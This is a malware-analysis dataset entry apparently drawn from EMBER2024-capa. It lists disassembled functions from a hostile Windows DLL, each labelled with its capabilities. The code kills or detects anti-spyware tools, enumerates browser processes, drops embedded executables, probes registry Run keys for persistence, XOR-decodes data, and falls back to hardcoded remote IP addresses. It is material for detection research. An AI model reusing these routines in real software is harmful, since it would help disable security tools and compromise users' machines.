joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10025d3a
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov eax, 0x10068b57
call fcn.100575f8
sub esp, 0x534
mov eax, dword [0x10084500]
push ebx
push esi
push edi
mov esi, 0x104
push esi
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea eax, [ebp - 0x14c]
push ebx
push eax
call fcn.10056960
add esp, 0xc
push esi
lea eax, [ebp - 0x14c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x14c]
push eax
call fcn.10056d60
pop ecx
mov cl, byte [ebp + eax - 0x14d]
dec eax
cmp cl, 0x5c
je 0x10025da2
cmp cl, 0x2f
jne 0x10025d90
mov byte [ebp + eax - 0x14b], bl
lea eax, [ebp - 0x14c]
push str.mcrh.tmp
push eax
call fcn.10057db0
lea eax, [ebp - 0x14c]
push 0x1006ef50
push eax
call fcn.100594a0
mov edi, eax
add esp, 0x10
cmp edi, ebx
je 0x10025e7f
mov esi, 0x3e8
push esi
lea eax, [ebp - 0x534]
push ebx
push eax
call fcn.10056960
push edi
push 1
lea eax, [ebp - 0x534]
push esi
push eax
call fcn.10059b74
lea eax, [ebp - 0x534]
push eax
xor esi, esi
call fcn.10056d60
add esp, 0x20
test eax, eax
jbe 0x10025e2a
xor byte [ebp + esi - 0x534], 8
lea eax, [ebp - 0x534]
push eax
inc esi
call fcn.10056d60
cmp esi, eax
pop ecx
jb 0x10025e10
push edi
call fcn.10059c0c
pop ecx
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10025e60
lea eax, [ebp - 0x14c]
push 0x1006ee10
push eax
call fcn.100594a0
cmp eax, ebx
pop ecx
pop ecx
je 0x10025e60
push edi
call fcn.10059c0c
pop ecx
sub esp, 0x1c
lea eax, [ebp - 0x534]
mov ecx, esp
mov dword [ebp - 0x538], esp
push eax
call fcn.10001636
call fcn.10010461
add esp, 0x1c
lea eax, [ebp - 0x540]
push eax
call fcn.10057f09
lea ecx, [ebp - 0x48]
mov dword [esp], 0x1006cd39
call fcn.10001636
lea eax, [ebp - 0x540]
push eax
mov dword [ebp - 4], ebx
call fcn.10057ef0
cmp eax, ebx
pop ecx
je 0x10025eb7
push eax
lea ecx, [ebp - 0x48]
call fcn.10001619
push 0x100873ac
lea ecx, [ebp - 0x2c]
call fcn.10001636
push 0x10087ddc
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.10003017
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10002e80
cmp dword [0x10084050], ebx
je 0x10025f23
push 0x1006ebd8
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 0x10088bcc
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 0xffffffffffffffff
push ebx
push 0x1008403c
lea ecx, [ebp - 0x2c]
call fcn.10002e80
push 0x1006ebc0
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 0x1006e524
lea ecx, [ebp - 0x2c]
call fcn.10003017
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x538], esp
push eax
call fcn.100015f3
call fcn.10010461
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.100568ae
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100274b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1006c864
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
xor dword [ebp - 4], 0x3e80f31
push dword [ebp - 4]
push str._08x___12
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret

Function at 0x100274f8
Capabilities:
Check mutex on windows

Disassembly:
push str.awx_mutant
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10027527
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1002752e
push str.ad_aware.exe
call fcn.1002dc00
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x10027531
Capabilities:
Check mutex on windows

Disassembly:
push str.ssw_mutant
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10027560
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10027567
push str.wrsssdk.exe
call fcn.1002dc00
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x1002756a
Capabilities:
Check mutex on windows

Disassembly:
push str.hjt_mutant
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10027599
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100275a0
push str.hijackthis.exe
call fcn.1002dc00
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret
Function at 0x10027abf
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0xb4]
sub esp, 0x134
mov eax, dword [0x10084500]
push str.C:_PROGRAM_FILES_MICROSOFT_ANTISPYWARE_GCASSERVALERT.EXE
push 0
push 0x100000
mov dword [ebp + 0xb0], eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
test eax, eax
mov dword [ebp - 0x7c], eax
jne 0x10027b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x10027bb3
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x80], eax
je 0x10027ba7
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x74]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
mov dword [ebp - 0x78], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10027ba1
mov edi, dword [ebp - 0x7c]
push esi
xor esi, esi
cmp dword [ebp - 0x70], esi
je 0x10027b90
push 0x5c
push esi
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
je 0x10027b5d
inc edi
jmp 0x10027b60
lea edi, [ebp - 0x54]
push 0xd
push edi
push str.GCASSERVALERT
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x10027b90
push dword [ebp - 0x70]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10027b90
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10027b42
pop esi
push dword [ebp - 0x80]
call ebx
pop edi
cmp dword [ebp - 0x7c], 0
je 0x10027bb2
push dword [ebp - 0x7c]
call ebx
pop ebx
mov ecx, dword [ebp + 0xb0]
call fcn.100568ae
add ebp, 0xb4
leave
ret
Function at 0x10027e60
Capabilities:
Check if file exists
Create directory

Disassembly:
mov eax, 0x10068cc4
call fcn.100575f8
sub esp, 0x40
mov eax, dword [0x10084500]
push ebx
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
call fcn.10001636
push 0xffffffffffffffff
xor ebx, ebx
push 0x1006caec
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call fcn.10027de3
cmp eax, 0xffffffff
jne 0x10027eaa
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
jmp 0x10027f3a
cmp dword [ebp - 0x14], 0x10
mov ecx, dword [ebp - 0x28]
jae 0x10027eb6
lea ecx, [ebp - 0x28]
mov byte [ecx + eax + 1], bl
mov eax, dword [ebp - 0x18]
push esi
xor esi, esi
cmp eax, ebx
mov dword [ebp - 0x4c], eax
je 0x10027f2e
push edi
push esi
push 0x1006caec
lea ecx, [ebp - 0x2c]
call fcn.1000dbd3
cmp eax, 0xffffffff
jne 0x10027f4f
cmp esi, dword [ebp - 0x4c]
je 0x10027f2d
mov esi, dword [ebp - 0x4c]
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x48]
call fcn.100015f3
cmp dword [ebp - 0x30], 0x10
mov eax, dword [ebp - 0x44]
jae 0x10027efb
lea eax, [ebp - 0x44]
mov byte [eax + esi], bl
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x44]
jae 0x10027f0a
lea edi, [ebp - 0x44]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10027f1d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.10001293
cmp esi, dword [ebp - 0x4c]
jne 0x10027ec8
pop edi
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100568ae
leave
ret
lea esi, [eax + 1]
jmp 0x10027ee3

Function at 0x10028097
Capabilities:
Create thread
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
push esi
push esi
push 4
push esi
push 1
push 0x80000000
push 0x10085a50
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x10085c70], eax
jne 0x100280c7
xor eax, eax
jmp 0x1002813c
call fcn.1001e3c3
test al, al
jne 0x10028115
lea eax, [ebp - 4]
push eax
push dword [0x10085c70]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push esi
mov dword [0x10085c6c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
mov dword [0x10085c68], eax
je 0x10028115
push esi
lea ecx, [ebp - 4]
push ecx
push dword [0x10085c6c]
push eax
push dword [0x10085c70]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x10085c70]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 8]
push eax
push esi
push esi
push 0x10027f54
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10085e78], eax
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x1002855e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10084500]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, esi
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
call fcn.1004f53d
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 8]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x12c]
push ecx
push eax
mov dword [ebp - 0x130], eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002866f
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push str.firefox.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x100285e9
push str.mozilla.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x1002860d
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 0x124]
jmp 0x100285fb
cmp ecx, dword [eax]
je 0x1002860d
add eax, 4
cmp eax, ebx
jne 0x100285f4
lea eax, [ebp + 8]
mov dword [ebp + 8], ecx
push eax
mov ecx, esi
call fcn.1002851e
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100285b0
push dword [ebp + 8]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
mov edx, dword [edi + 4]
push eax
push ecx
push edx
mov ecx, edi
call fcn.1002817f
mov ecx, esi
call fcn.100521ab
test eax, eax
je 0x1002866f
mov ecx, esi
xor edi, edi
call fcn.100521ab
test eax, eax
jbe 0x1002866f
mov eax, dword [esi + 4]
lea eax, [eax + edi*4]
push 0x10085cb0
push dword [eax]
call fcn.1002dcc0
mov ecx, esi
inc edi
call fcn.100521ab
cmp edi, eax
jb 0x10028651
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.100568ae
leave
ret
Function at 0x10028c81
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x10068d3a
call fcn.100575f8
sub esp, 0x870
mov eax, dword [0x10084500]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x854], ebx
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x860], str.85.17.166.176
mov dword [ebp - 0x85c], str.82.98.235.27
mov dword [ebp - 0x858], str.77.93.75.155
mov dword [ebp - 0x14], 0xf
call fcn.1000125d
mov esi, dword [ebp + 0xc]
push ebx
mov edi, str.http:__
push edi
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.1000dbd3
test eax, eax
jne 0x10028d06
push edi
lea ecx, [ebp - 0x2c]
call fcn.10001619
push 7
push ebx
push edi
mov ecx, esi
call fcn.1000dbd3
push eax
mov ecx, esi
call fcn.100012dc
push 0x1006f360
lea ecx, [ebp - 0x2c]
call fcn.10003017
push ebx
mov edi, 0x1006d110
push edi
mov ecx, esi
call fcn.1000dbd3
cmp eax, 0xffffffff
mov ecx, esi
push ebx
je 0x10028d2c
push edi
jmp 0x10028d31
push 0x1006d050
call fcn.1000dbd3
mov edi, eax
cmp edi, 0xffffffff
je 0x10028d9f
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x87c]
push eax
mov ecx, esi
call fcn.1000e891
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.10002e80
push ebx
push 1
lea ecx, [ebp - 0x87c]
mov byte [ebp - 4], bl
call fcn.10001293
push edi
push ebx
lea eax, [ebp - 0x87c]
push eax
mov ecx, esi
call fcn.1000e891
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.100014f5
push ebx
push 1
lea ecx, [ebp - 0x87c]
mov byte [ebp - 4], bl
call fcn.10001293
cmp dword [esi + 0x18], 0x10
jb 0x10028daa
mov eax, dword [esi + 4]
jmp 0x10028dad
lea eax, [esi + 4]
push ebx
lea ecx, [ebp - 0x854]
push ecx
push ebx
push ebx
push 1
push eax
call sub.DNSAPI.dll_DnsQuery_A
cmp eax, ebx
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
jne 0x10028e04
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x854]
mov eax, dword [eax + 0x18]
mov edi, dword [ebp - 0x28]
jae 0x10028ddd
lea edi, [ebp - 0x28]
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
lea eax, [ebp - 0x850]
push edi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
push dword [ebp - 0x854]
call sub.DNSAPI.dll_DnsRecordListFree
jmp 0x10028e44
call fcn.100583c8
mov dword [ebp + 0xc], eax
fild dword [ebp + 0xc]
fmul dword [0x1006f35c]
fmul dword [0x1006f358]
call fcn.10059f08
cmp dword [ebp - 0x14], 0x10
mov ecx, dword [ebp - 0x28]
jae 0x10028e2c
lea ecx, [ebp - 0x28]
push dword [ebp + eax*4 - 0x860]
lea eax, [ebp - 0x850]
push ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x850]
push eax
mov ecx, esi
call fcn.10001619
mov ecx, dword [ebp + 8]
push esi
call fcn.100015f3
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100568ae
leave
ret 0xc
Function at 0x1002a4d2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 2
push edi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002a518
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1002a51e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [0x10085c80]
push esi
push 0x1006f3f0
push 0x98
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x1002a54e
mov eax, dword [0x10085c80]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1002a552
xor eax, eax
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x1002a564
xor eax, eax
jmp 0x1002a584
mov eax, dword [0x10085c80]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x1002a560
push eax
push edi
push dword [esp + 0x14]
call fcn.1002a4d2
add esp, 0xc
pop edi
pop esi
ret

Function at 0x1002a587
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x1002a5f3
push edi
push 0x1006f3f0
push 0x67
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x1002a5eb
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1002a5eb
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x1002a5ea
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x1002a5ea
push eax
push ebx
push dword [ebp + 0xc]
call fcn.1002a4d2
add esp, 0xc
mov dword [ebp - 4], eax
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x1002af17
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2a4]
sub esp, 0x324
mov eax, dword [0x10084500]
push esi
mov dword [ebp + 0x2a0], eax
lea eax, [ebp - 0x70]
push eax
push 0x1006f44c
push dword [ebp + 0x2ac]
xor esi, esi
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x70], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1002b084
push edi
lea eax, [ebp + 0x2ac]
push eax
lea eax, [ebp + 0x98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov edi, 0x104
mov dword [ebp - 0x7c], edi
mov dword [ebp + 0x2ac], edi
mov dword [ebp - 0x74], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x1002b07a
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrChrA]
cmp dword [ebp - 0x78], 1
je 0x1002afac
cmp dword [ebp - 0x78], 2
jne 0x1002b03d
lea eax, [ebp + 0x98]
push eax
lea eax, [ebp + 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp + 0x19c], 0x22
jne 0x1002afdc
push 0x22
lea eax, [ebp + 0x19d]
push eax
call ebx
lea esi, [ebp + 0x19d]
jmp 0x1002aff9
push 0x20
push str..exe
lea eax, [ebp + 0x19c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
push eax
call ebx
lea esi, [ebp + 0x19c]
test eax, eax
je 0x1002b000
mov byte [eax], 0
push str.rundll32
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1002b03d
push str.rundll32.exe
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1002b03d
push dword [ebp + 0x2b0]
mov ecx, dword [ebp - 0x80]
push esi
call fcn.1002ad79
inc dword [ebp - 0x74]
lea eax, [ebp + 0x2ac]
push eax
lea eax, [ebp + 0x98]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
mov dword [ebp - 0x7c], edi
push dword [ebp - 0x70]
mov dword [ebp + 0x2ac], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x1002af9c
pop ebx
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, dword [ebp + 0x2a0]
pop esi
call fcn.100568ae
add ebp, 0x2a4
leave
ret 8
Function at 0x1002b09a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2d4]
sub esp, 0x354
mov eax, dword [0x10084500]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push dword [ebp + 0x2dc]
mov dword [ebp + 0x2d0], eax
lea eax, [ebp + 0x1cc]
push eax
mov dword [ebp - 0x7c], ecx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp + 0x1cc]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1006e4f4
lea eax, [ebp + 0x1cc]
push eax
call ebx
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp + 0x1cc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x80], eax
je 0x1002b178
test byte [ebp + 0x8c], 0x10
jne 0x1002b164
push dword [ebp + 0x2dc]
lea eax, [ebp - 0x78]
push eax
call esi
lea eax, [ebp - 0x78]
push eax
call edi
lea eax, [ebp + 0xb8]
push eax
lea eax, [ebp - 0x78]
push eax
call ebx
push str..exe
lea eax, [ebp + 0xb8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1002b164
push dword [ebp + 0x2e0]
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
call fcn.1002ad79
lea eax, [ebp + 0x8c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1002b10d
mov ecx, dword [ebp + 0x2d0]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x2d4
leave
ret 8

Function at 0x1002b190
Capabilities:
Check if file exists

Disassembly:
mov eax, 0x10068e8d
call fcn.100575f8
push ecx
push esi
mov esi, ecx
push 0x10085cb0
lea ecx, [ebp - 0x10]
call fcn.1000a345
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.1002a9bc
push str..exe
lea ecx, [ebp - 0x10]
call fcn.1002a97a
push dword [ebp - 0x10]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1002b1da
push dword [ebp - 0x10]
call fcn.1002a51e
pop ecx
push 0
push dword [ebp - 0x10]
mov ecx, esi
call fcn.1002ab00
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.10004f32
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x1002b1fe
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x10084500]
and dword [ebp - 0x7c], 0
push ebx
push esi
push edi
mov dword [ebp + 0x8c], eax
lea eax, [ebp - 0x7c]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov esi, 0x80000001
push esi
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov ebx, dword [ebp + 0x98]
jne 0x1002b27d
lea eax, [ebp + 0x98]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0x1006f47c
push dword [ebp - 0x7c]
mov dword [ebp + 0x98], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
lea eax, [ebp - 0x78]
push eax
mov ecx, edi
call fcn.1002b09a
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push esi
mov ecx, edi
call fcn.1002af17
push ebx
push 0x80000002
mov ecx, edi
call fcn.1002af17
test ebx, ebx
je 0x1002b2a0
mov ecx, edi
call fcn.1002b190
jmp 0x1002b2a5
call fcn.1002a8a0
mov ecx, dword [ebp + 0x8c]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x90
leave
ret 4

Function at 0x1002b4fa
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
push eax
push eax
push eax
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push 0x1006c864
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor dword [ebp - 4], 0x3e80f31
push dword [ebp - 4]
push str._08x___1223
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
leave
ret

Function at 0x1002b539
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x1006c864
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call esi
xor dword [ebp - 4], 0x3e80f31
push edi
call esi
push dword [ebp - 4]
push str._08x___1223a
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop edi
pop esi
leave
ret
Function at 0x1002b92c
Capabilities:
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x4b4]
sub esp, 0x534
mov eax, dword [0x10084500]
push ebx
push esi
push edi
mov dword [ebp + 0x4b0], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x74], ebx
mov ecx, 0x107
lea edi, [ebp - 0x70]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x4bc]
lea eax, [ebp + 0x3ac]
push eax
mov byte [ebp - 0x75], bl
mov byte [edi], bl
call fcn.10023308
pop ecx
lea eax, [ebp + 0x3ac]
push eax
mov esi, 0x420
push esi
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push 0xf001f
push eax
mov dword [ebp - 0x7c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [ebp - 0x80], eax
je 0x1002b9cc
push esi
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10056df0
add esp, 0xc
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea eax, [ebp + 0x94]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x75], 1
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x4b0]
mov al, byte [ebp - 0x75]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x4b4
leave
ret